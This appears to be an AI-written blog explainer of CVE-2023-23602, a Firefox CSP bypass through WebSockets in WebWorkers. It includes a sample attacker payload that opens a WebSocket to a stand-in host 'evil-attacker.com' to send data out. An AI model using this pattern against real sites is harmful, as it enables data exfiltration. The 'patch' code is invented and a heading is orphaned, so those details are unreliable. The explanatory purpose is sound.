Web security matters. Sometimes, even small mistakes can open up surprising holes, and that's exactly what happened with CVE-2023-23602, a vulnerability that slipped past Mozilla’s checks and put millions of Firefox and Thunderbird users at risk. In this deep dive, let’s break down what happened, how it works, and what you can do about it — all in plain language!

Quick Summary

CVE-2023-23602 is a security bug found in Firefox (before version 109), Thunderbird (before 102.7), and Firefox ESR (before 102.7). The issue? When a WebSocket is created inside a WebWorker, a key security rule called connect-src — part of your site’s Content Security Policy (CSP) — could be ignored. This allowed potentially unsafe connections to restricted (even private) servers, opening doors for attackers to steal secrets or bypass normal browser protections.

What’s the Core Problem?

Let’s say a website wants to block connections to certain domains for safety. With CSP, a site owner can use connect-src to only allow connections (like AJAX, fetch, and WebSockets) to trusted places.

But with this vulnerability, any code running inside a WebWorker (background script) could simply ignore this safety rule when creating a WebSocket connection.

Result: Untrusted code could connect to any server it wanted, even those specifically blocked, through a tiny loophole.

Simple Attack Example

Let’s see what this could look like in practice. Imagine a website that should only allow network connections to its own domain. Here’s a CSP header for that:

Content-Security-Policy: connect-src 'self'

Now, suppose an attacker finds a Cross-Site Scripting (XSS) bug on the site. They inject this code

// webworker.js (attacker's payload)
const ws = new WebSocket('wss://evil-attacker.com/steal');
ws.onopen = function() {
  ws.send('Hello from inside your CSP-protected site!');
};

And in the main page

// main script
const worker = new Worker('webworker.js');

Expected: The browser should block the WebSocket, thanks to connect-src.

Before Firefox 109: The browser doesn’t check CSP here, so the malicious connection goes through!

Why Did This Happen?

The problem was a "mishandled security check". Specifically, the code responsible for enforcing the connect-src policy missed checking connections when they were made by WebWorkers. Here’s how the Firefox bug looked in the patch:

// This is a greatly simplified view
if (IsWebWorker()) {
  // Oops! Forgot to check connect-src policy here
}
else {
  // Properly enforce CSP here
}


A small gap in the code let malicious connections sneak through — a common type of web security bug.

Attackers could

- Connect to any server not listed in the CSP, including private APIs, local servers, or even cloud services.
- Exfiltrate sensitive data, like cookies or tokens, using WebSockets without the site owner realizing.
- Bypass firewall rules or send requests to internal services that should never be reachable from the web.

Firefox ESR: Versions before 102.7

If you’re using any of these, you must update now!

The Mozilla team patched this quickly. You can see the full details of the fix and the timeline at

- Mozilla Add-On Security Advisory (MFSA 2023-05)
- Bug report and patch discussion
- NIST NVD entry
- Official advisory

Consider setting up automatic browser updates.

- Test your site’s CSP regularly using CSP Evaluator or similar tools.

The Big Lesson

Tiny bugs can have big impacts on security. No system is perfect, but quick patches and open disclosure make the web safer for everyone. If you’re a developer, always test security rules on *every* context — even background stuff like WebWorkers. And as a user, always keep your software up to date.

Stay safe and keep watching those browser changelogs!

*Exclusive Content, researched and written by AI. Please reference official documentation for production decisions.*

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/08/2023 16:34:00 UTC